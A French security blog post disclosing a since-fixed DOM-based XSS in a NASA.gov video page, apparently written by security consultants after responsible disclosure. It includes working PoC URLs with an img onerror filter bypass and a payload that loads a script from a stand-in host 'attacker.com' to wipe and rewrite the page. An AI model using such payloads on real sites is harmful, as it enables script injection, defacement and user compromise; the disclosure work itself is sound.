[Contribution] NASA.gov portail principal : DOM-XSS

nasa-logo
05
avril
2015
  • Google Plus
  • LinkedIn
  • Viadeo
Posted by: Georges T.  /   Category: Contributions / Vulnérabilités, exploits et PoC / XSS   /   Pas de commentaire

Une vulnérabilité DOM-XSS a été découverte sur le portail principal NASA.gov.

Introduction

Suite à la découverte de vulnérabilités dans trois sous-domaines de la NASA et à l’advisory de mon ami Yann C. je fut invité par ce dernier à « surfer » sur le domaine principal de cette ô combien célèbre instance gouvernementale.

C’est au détours de leur plateforme de diffusion media et plus précisément leur section « NASATV » (qui, soit dit en passant est une intarissable source de contenu pour les passionnés d’univers et autres « spatialités ») que nous avons découvert une vulnérabilité de la famille des « Cross-Site Scripting ».

Une XSS telle que cette dernière est basée sur le DOM et permet d’impacter l’ensemble des navigateurs du marché (Chrome, Firefox et IE) sous leur dernière version.

La vulnérabilité était localisée dans le paramètre GET  « _title » de l’url, en effet, une chaine entrée de manière arbitraire dans l’url était affichée sur la page, ouvrant ainsi une fenêtre d’injection de code Javascript et permettant donc potentiellement le déploiement de framework intrusif tel que BeEF.

Vulnérabilité & PoC

« alert() » canonique

La démarche employée pour forger un vecteur d’attaque a été de déterminer les caractères et balises exploitables au travers de cette DOM-XSS.

Les balises « script » étaient filtrées :

NASA.gov DOM-RXSS script tag filtered

NASA.gov DOM-RXSS script tag filtered

Ainsi, notre vecteur d’attaque s’est orienté vers l’utilisation de la balise « img » couplée à son évènement « onerror ». Bien évidemment, l’encodage des caractères « = » était également protégé :

NASA.gov DOM-RXSS img equal sign filtered

NASA.gov DOM-RXSS img equal sign filtered

Un encodage des signes « = » en urlencode suffit donc à forger une alerte fonctionnelle :

NASA.gov DOM-RXSS alert

NASA.gov DOM-RXSS alert Firefox

PoC :

http://www.nasa.gov/multimedia/nasatv/on_demand_video.html?param&_id&_title=<img src%3Dx onerror%3Dalert(/RXSS/) />

Cette XSS s’exécutant au travers du DOM de la page est ainsi compatible avec les principaux navigateurs supportant JavaScript du marché :

NASA.gov DOM-RXSS alert Chrome

NASA.gov DOM-RXSS alert Chrome

NASA.gov DOM-RXSS alert IE

NASA.gov DOM-RXSS alert IE

Altération de la page « defaced »

L’exploitation d’une « alert() » étant réussi, il nous a été possible de forger un vecteur d’attaque permettant d’alétrer le rendu de la page.

En hébergeant sur un serveur distant un script JavaScript dédié à altérer et reconstruire le DOM de la page, il a été possible de simuler un « defaced » du portail principal de la NASA.gov. Un tel « defaced » n’est bien évidemment pas définitif sur le serveur gouvernemental, mais n’impacte que les usagers consultant explicitement l’URL.

NASA.gov defaced client-side

NASA.gov defaced client-side

PoC :

http://www.nasa.gov/multimedia/nasatv/on_demand_video.html?param&_id&_title=<img src%3Dx onerror%3D"var s%3Ddocument.createElement('script');s.setAttribute('src','http://attacker.com/x.js');document.getElementsByTagName('head').item(0).appendChild(s);" />

Contenu du script distant « x.js » :

// Suppression de tout le DOM (<head>, <body>, <style>, etc...)
document.documentElement.innerHTML = '';
// Recréation du DOM à la main après 1 seconde :
 
function heredoc (f) {
return f.toString().match(/\/\*\s*([\s\S]*?)\s*\*\//m)[1].replace(/(\/\*[\s\S]*?\*) \//g, '$1/');
};
 
var content = heredoc(function() {/*
<style>
html, body, #wrapper {
height:100%;
width: 100%;
margin: 0;
padding: 0;
border: 0;
}
#wrapper td {
vertical-align: middle;
text-align: center;
}
</style>
 
<table id='wrapper'>
<tr>
<td>
<img src='https://www.asafety.fr/images/logo.png' /><br /><br />
Fake defaced only on current browser<br />
Yann C. & Georges T. - Security Consultants @ASafety - SYNETIS
</td>
</tr>
</table>
 
*/});
 
setTimeout('document.write(content)', 1000);

L’idée de ce script tiers est de supprimer l’ensemble du DOM (noeud, balises, scripts chargés au préalable, styles CSS, etc.) pour régénérer un rendu arbitraire.

Notification & correction

Nous nous sommes empressés d’alerter les équipes en charge du portail pour qu’ils comblent cette brèche.

Leur intervention a été fort rapide, en l’espace de quelques heures la vulnérabilités était bouchée.

NASA.gov notification email

NASA.gov notification email

Conclusion

La NASA est sans nul doute l’organisation ayant la plus grande expérience en matière d’avionique, aéronautique et spatiale.

Malgré ce degré de perfection atteint dans l’admiration du plus grand nombre (moi y compris) et dans un milieu ou la maîtrise technologique globale est gage de qualité et de réussite, une simple faille de sécurité informatique peut suffire à ternir une image même des plus solides voir à nuire à un projet qui utiliserais une infrastructure faillible.

La vigilance est donc de mise aussi bien en sécurité matérielle pour les hommes qu’en sécurité logicielle pour les installations qui permettent la réalisation de projets tels que ceux de la NASA et qui nous emmène chaque jour un peu plus vers les étoiles.

Sources & ressources :

  • Google Plus
  • LinkedIn
  • Viadeo
Georges T.

About the Author : Georges T.

Développeur logiciel de formation, consultant en sécurité informatique de profession, je m'adonne à la recherche de vulnérabilités depuis les années 2000, suivant de près les travaux de Yann C., je contribue à l'expansion de la brillante mine d'information que constitue Asafety.fr.